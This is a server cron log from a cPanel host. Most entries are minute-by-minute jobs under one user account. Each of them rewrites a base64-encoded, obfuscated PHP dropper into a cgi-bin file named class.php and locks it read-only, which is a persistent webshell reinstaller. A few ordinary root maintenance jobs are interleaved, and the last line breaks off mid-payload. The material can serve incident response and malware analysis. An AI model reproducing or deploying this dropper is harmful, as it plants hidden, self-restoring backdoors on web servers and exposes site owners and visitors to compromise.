Apr 11 09:15:01 server CROND[11696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:15:01 server CROND[11698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:16:01 server CROND[11797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:17:01 server CROND[11957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:18:01 server CROND[12003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:19:01 server CROND[12056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:20:01 server CROND[12107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:20:01 server CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 09:20:01 server CROND[12109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:20:01 server CROND[12112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:20:01 server CROND[12113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:21:01 server CROND[12229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:22:01 server CROND[12372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:23:01 server CROND[12421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:24:01 server CROND[12466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:25:01 server CROND[12512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:25:01 server CROND[12513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:25:01 server CROND[12514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:26:01 server CROND[12632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:27:01 server CROND[12778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:27:01 server CROND[12779]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 09:28:01 server CROND[12829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY